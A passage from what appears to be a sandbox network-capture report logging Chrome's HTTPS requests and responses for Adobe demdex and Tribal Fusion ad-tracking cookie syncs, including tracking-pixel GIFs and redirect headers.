2024-12-10 14:10:51 UTC	314	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 37 37 31 26 61 6d 70 3b 64 70 75 75 69 64 3d 43 41 45 53 45 48 71 78 56 69 4b 70 66 64 4f 39 44 54 47 4e 6b 31 41 78 46 70 45 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEHqxViKpfdO9DTGNk1AxFpE&google_c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50058	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:51 UTC	1481	OUT	GET /ibs:dpid=477&dpuuid=574b3b3dd79bfe4155f53e8c3fde5931acb47dc644aa7745042768bea89108d7b0da87c991749652 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:52 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:52 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 1PSO2MXUSrU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0a04df6f3.edge-irl1.demdex.com 5 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50059	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:52 UTC	1437	OUT	GET /ibs:dpid=903&dpuuid=ca5091e5-7f27-487b-9b72-5046f54d8363 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:52 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:52 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: IopxKVEYTmg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-01e27cda2.edge-irl1.demdex.com 12 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50060	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:52 UTC	1420	OUT	GET /ibs:dpid=358&dpuuid=6105356000114051776 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:52 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:52 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: YFO9XGI/QRU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0c75d66e7.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50061	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:52 UTC	1417	OUT	GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:52 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:52 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 05mZ9QYiT0o= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-041d2fe41.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50062	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:52 UTC	1434	OUT	GET /ibs:dpid=1957&dpuuid=2C598D477EB1601D375398167FD361E9 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:52 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:52 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: bIsqYgeMREg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-019ab16ac.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50063	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:52 UTC	1178	OUT	GET /ibs:dpid=992&dpuuid=12jw1hmayu6up HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:52 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:52 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: jVvZHj8ST14= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-03958bfe0.edge-irl1.demdex.com 14 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:52 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50071	172.64.150.63	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:52 UTC	713	OUT	GET /i.match?p=b13&u=46356403213087719583427206263392261374&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1 Host: a.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:53 UTC	906	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 10 Dec 2024 14:10:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 206 X-Reuse-Index: 66 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=aInoeUqkaHqByktbZceBx29aTZbD1buJgcxO60AZd8c; path=/; domain=.tribalfusion.com; expires=Mon, 10-Mar-2025 14:10:53 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=aInoeUqkaHqByktbZceBx29aTZbD1buJgcxO60AZd8c; path=/; domain=.tribalfusion.com; expires=Mon, 10-Mar-2025 14:10:53 GMT; Location: https://s.tribalfusion.com/z/i.match?p=b13&u=46356403213087719583427206263392261374&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8efdd2296c391a13-EWR alt-svc: h3=":443"; ma=86400
2024-12-10 14:10:53 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-12-10 14:10:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50070	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:52 UTC	1213	OUT	GET /ibs:dpid=1175&gdpr=0&dpuuid=VOZ2RlazJkdP4ndHAeFuTAbpJ0ZPt3BIW7VwEFtZ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:53 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:53 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: d6dNl8VbQYY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-04131632d.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:53 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:53 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:53 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50072	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:53 UTC	1463	OUT	GET /ibs:dpid=771&dpuuid=CAESEHqxViKpfdO9DTGNk1AxFpE&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:53 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:53 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: u4RRAaG+QPM= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-06252cb26.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:53 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:53 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:53 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50074	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
